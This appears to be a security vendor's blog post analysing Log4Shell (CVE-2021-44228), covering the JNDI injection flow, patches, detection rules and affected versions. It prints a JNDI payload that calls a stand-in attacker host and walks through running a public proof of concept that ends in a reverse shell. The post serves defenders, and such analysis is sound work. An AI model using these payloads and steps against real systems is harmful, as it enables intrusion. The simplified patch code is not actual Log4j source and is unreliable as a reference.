Log4Shell Unleashed: Inside CVE-2021-44228 and the Log4j RCE Crisis

Log4Shell (CVE-2021-44228) shattered the security status quo with a critical RCE in Apache Log4j 2.x, exposing global infrastructure to trivial exploitation. This post delivers a technical, actionable breakdown: from exploitation mechanics and PoC to patching, detection, and vendor response. Essential reading for defenders and incident responders.
CVE Analysis

30 min read

ZeroPath Security Research

ZeroPath Security Research

2025-07-17

Log4Shell Unleashed: Inside CVE-2021-44228 and the Log4j RCE Crisis

Log4Shell Unleashed: Inside CVE-2021-44228 and the Log4j RCE Crisis

Introduction

In December 2021, the cybersecurity world was rocked by a vulnerability so severe and so easy to exploit that it sent shockwaves through the global technology ecosystem. Log4Shell (CVE-2021-44228) wasn’t just another bug—it was a critical flaw in Apache Log4j, a logging library embedded in countless Java applications, cloud services, and enterprise products. Within hours of public disclosure, attackers were scanning the internet, weaponizing the flaw, and compromising everything from Minecraft servers to industrial control systems. Security teams scrambled as the scale of exposure became clear: if you ran Java, you were likely at risk. The incident forced a reckoning with open-source supply chain risk and changed how defenders approach third-party dependencies forever.

About Log4j and Its Ecosystem

Apache Log4j is a cornerstone of the Java logging ecosystem, maintained by the Apache Software Foundation. Its reach is vast—used by cloud providers, financial institutions, government agencies, and embedded in frameworks like Apache Struts, ElasticSearch, and Spring Boot. Major vendors affected by Log4Shell include Siemens (industrial automation), Intel (hardware/software), SonicWall (network security), NetApp (enterprise storage), Cisco (networking), Bentley (engineering software), and Apple (developer tools). The breadth of impact is a direct result of Log4j’s ubiquity and its role as a transitive dependency in countless software stacks.

Technical Information

Vulnerability Mechanism

CVE-2021-44228, dubbed Log4Shell, is a remote code execution (RCE) vulnerability in Apache Log4j 2.x (specifically, log4j-core versions 2.0-beta9 through 2.14.1). The flaw resides in Log4j’s message lookup substitution feature, particularly its Java Naming and Directory Interface (JNDI) integration. When message lookup is enabled (the default in affected versions), Log4j will interpret ${} patterns in log messages and resolve them dynamically—including JNDI lookups to external resources.

Exploitation Flow

  1. Attacker Input: An attacker injects a string like ${jndi:ldap://attacker.com/a} into any field that will be logged by the application (e.g., HTTP headers, form fields, API parameters).
  2. Log4j Processing: The vulnerable Log4j instance parses the log message, recognizes the JNDI lookup, and attempts to resolve it.
  3. Outbound Connection: Log4j connects to the attacker-controlled LDAP server specified in the JNDI string.
  4. Remote Code Loading: The LDAP server responds with a reference to a remote Java class file (often hosted on an HTTP server). Log4j fetches and executes this class, granting the attacker remote code execution in the context of the application.

This chain is possible due to Log4j’s recursive message lookup, JNDI’s ability to load remote objects, and Java’s historical trust of remote codebases. The vulnerability is present only in log4j-core; applications using only log4j-api are not affected.

Attack Vectors

  • HTTP Headers: User-Agent, X-Forwarded-For, Referer, or any custom header logged by the application.
  • Form/API Parameters: Any user-supplied input that gets logged.
  • Application Metadata: Filenames, email subjects, or other data processed and logged.

The exploit bypasses authentication and traditional perimeter controls, as it is delivered through legitimate application logging activity.

Vulnerable Code Pattern

// Vulnerable pattern (pre-patch) logger.info("User input: {}", userInput); // If userInput contains ${jndi:ldap://...}, RCE is possible

Root Cause

The root cause is Log4j’s failure to restrict JNDI lookups and message substitution in untrusted input, combined with Java’s default behavior of trusting remote codebases. This allowed attackers to trigger remote code execution with trivial input.

Proof of Concept

The Log4Shell vulnerability (CVE-2021-44228) exploits the Java Naming and Directory Interface (JNDI) feature in Apache Log4j 2, allowing attackers to execute arbitrary code on affected systems. A practical demonstration of this exploit is provided by the log4j-shell-poc repository.

Overview of the Proof-of-Concept (PoC):

The PoC comprises a vulnerable web application and an exploit script that automates the attack process. The attack involves injecting a malicious JNDI lookup string into the application's input fields, which, when logged by Log4j, triggers a sequence of events leading to remote code execution.

Key Components and Steps:

  1. Vulnerable Application:

    • A sample web application is set up using Docker, exposing an endpoint that logs user input via Log4j.
  2. Exploit Script (poc.py):

    • This Python script automates the exploitation process by:
      • Setting up an HTTP server to serve a malicious Java class.
      • Configuring an LDAP server that redirects JNDI lookups to the HTTP server.
      • Generating a payload that, when logged by the vulnerable application, initiates a JNDI lookup to the malicious LDAP server.
  3. Attack Execution:

    • An attacker injects the crafted JNDI lookup string into the application's input field.
    • The application logs this input using Log4j, triggering the JNDI lookup.
    • The lookup contacts the malicious LDAP server, which directs it to download and execute the payload from the HTTP server.
    • The payload establishes a reverse shell connection back to the attacker's machine.

Demonstration Steps:

  1. Set Up the Vulnerable Application:

    • Build and run the Docker container hosting the vulnerable web application:
      docker build -t log4j-shell-poc . docker run --network host log4j-shell-poc
      This starts the application on localhost:8080.
  2. Prepare the Exploit Environment:

    • Ensure that Java Development Kit (JDK) 1.8.0_20 is available in the project directory.
    • Install required Python packages:
      pip install -r requirements.txt
  3. Launch the Exploit:

    • Start a netcat listener to receive the reverse shell:
      nc -lvnp 9001
    • Run the exploit script:
      python3 poc.py --userip localhost --webport 8000 --lport 9001
      This sets up the HTTP and LDAP servers and provides the malicious JNDI string.
  4. Trigger the Exploit:

    • Access the vulnerable application at http://localhost:8080.
    • Enter the provided JNDI string into the username field and any password.
    • Upon submission, the reverse shell is established, granting the attacker control over the system.

Disclaimer:

This PoC is intended solely for educational purposes and to help users understand the mechanics of the Log4Shell vulnerability. It should not be used for unauthorized activities.

PoC Source: https://github.com/kozmer/log4j-shell-poc

Patch Information

To address the critical vulnerabilities identified in Apache Log4j, the development team implemented a series of patches aimed at mitigating risks associated with JNDI (Java Naming and Directory Interface) lookups and message substitution. Here's a breakdown of the key changes:

1. Disabling JNDI by Default:

In response to the vulnerabilities, JNDI functionality was disabled by default starting from version 2.16.0. This change prevents potential exploits that leverage JNDI lookups to execute arbitrary code. To re-enable JNDI, users must explicitly set the system property log4j2.enableJndi to true.

2. Removal of Message Lookups:

Message lookups, which allowed for dynamic content substitution in log messages, were completely removed to eliminate the risk of malicious input leading to code execution. This change ensures that log messages are treated as plain text without any runtime evaluation.

3. Limiting JNDI Protocols:

To further secure JNDI usage, the allowed protocols were restricted to java, ldap, and ldaps. This limitation reduces the attack surface by preventing the use of potentially unsafe protocols.

4. Preventing Infinite Recursion in Lookups:

An additional safeguard was introduced to protect against infinite recursion in lookup evaluations, which could lead to denial-of-service attacks. This fix ensures that self-referential lookups do not cause the application to crash.

Code Changes:

// Disabling JNDI by Default private static final boolean ENABLE_JNDI = Boolean.parseBoolean(System.getProperty("log4j2.enableJndi", "false")); // Removal of Message Lookups String message = messagePattern; // No lookup resolution // Limiting JNDI Protocols private static final String[] ALLOWED_PROTOCOLS = {"java", "ldap", "ldaps"};

These patches collectively strengthen Log4j's security posture by addressing the identified vulnerabilities and reducing the potential for exploitation. Users are strongly encouraged to upgrade to the latest version to benefit from these enhancements.

References:

Detection Methods

Detecting exploitation attempts of the Log4j vulnerability (CVE-2021-44228) requires a multifaceted approach, combining signature-based detection, behavioral analysis, and proactive monitoring. Below are key strategies to identify potential exploitation:

1. Signature-Based Detection with Sigma Rules

Sigma rules provide a standardized format for writing detection signatures that can be converted into queries for various Security Information and Event Management (SIEM) systems. For Log4j exploitation, specific Sigma rules have been developed to identify malicious patterns in logs. For instance, the rule titled "web_cve_2021_44228_log4j.yml" is designed to detect exploitation attempts by analyzing web server logs for suspicious patterns associated with the vulnerability. (github.com)

2. Behavioral Analysis Using YARA Rules

YARA rules are instrumental in identifying malware families based on textual or binary patterns. A YARA rule named "expl_log4j_cve_2021_44228.yar" has been crafted to detect malicious payloads attempting to exploit the Log4j vulnerability. This rule focuses on identifying specific code sequences and behaviors indicative of exploitation attempts. (malware.news)

3. Network Traffic Monitoring

Monitoring network traffic for indicators of compromise (IoCs) is crucial. This involves analyzing outbound connections to known malicious domains or IP addresses, especially those associated with command and control servers. Additionally, unusual patterns in network traffic, such as unexpected data exfiltration or communication with unfamiliar external servers, can signal exploitation attempts.

4. System and Application Log Analysis

Regularly reviewing system and application logs can reveal signs of exploitation. Look for:

  • Unexpected application crashes or restarts.
  • Unauthorized configuration changes.
  • Unusual error messages or stack traces related to Log4j components.

5. File Integrity Monitoring

Implementing file integrity monitoring can help detect unauthorized changes to critical files, including Log4j libraries. Alerts should be configured for modifications, deletions, or additions to these files, as such changes may indicate an exploitation attempt.

6. Endpoint Detection and Response (EDR) Solutions

Utilizing EDR solutions can provide real-time monitoring and response capabilities. These tools can detect and alert on suspicious behaviors, such as the execution of unexpected processes, abnormal memory usage, or the presence of known malicious payloads associated with Log4j exploitation.

7. Vulnerability Scanning and Asset Inventory

Regularly scanning systems for vulnerable versions of Log4j and maintaining an up-to-date inventory of assets can aid in identifying and mitigating potential risks. Automated tools can assist in detecting instances of Log4j within your environment and assessing their vulnerability status.

By integrating these detection methods, organizations can enhance their ability to identify and respond to exploitation attempts targeting the Log4j vulnerability, thereby strengthening their overall security posture.

Detection Sources:

Affected Systems and Versions

  • Apache Log4j-core: Versions 2.0-beta9 through 2.14.1 are directly vulnerable to CVE-2021-44228.
  • Log4j 2.15.0: Partially mitigates the vulnerability but is still susceptible to certain non-default configurations (see CVE-2021-45046).
  • Log4j 2.16.0: Addresses JNDI RCE but was later found vulnerable to DoS (CVE-2021-45105).
  • Log4j 2.17.0: Fixed DoS but was found vulnerable to configuration-based RCE (CVE-2021-44832).
  • Log4j 2.17.1: Fully patched for all known related vulnerabilities (Java 8+). For Java 7, use 2.12.4; for Java 6, use 2.3.1.
  • Affected Products: Any Java application bundling vulnerable Log4j-core, including (but not limited to): Apache Struts, Apache Solr, Apache Druid, ElasticSearch, Flume, Dubbo, Logstash, Spring Boot starter-log4j2, VMware, IBM, Cisco, Siemens, NetApp, Bentley, Apple Xcode, SonicWall, and Minecraft: Java Edition.
  • Vulnerable Configurations: Any system where untrusted input is logged by Log4j-core 2.0-beta9 through 2.14.1 with message lookup substitution enabled (default).

Vendor Security History

  • Apache: The Log4Shell crisis exposed challenges in open-source project security and patch velocity. Initial fixes (2.15.0) were incomplete, requiring multiple rapid releases. Apache’s transparency and documentation were strong, but the incident highlighted resource constraints and the need for more proactive security reviews.
  • Siemens, NetApp, Cisco, Apple: Vendor responses varied. Siemens and NetApp provided detailed product matrices and mitigation steps, reflecting mature vulnerability management. Apple patched Xcode components. Some vendors required multiple advisories as new issues emerged.

References

Source: This report was created using AI

If you have suggestions for improvement or feedback, please reach out to us at [email protected]

Detect & fix
what others miss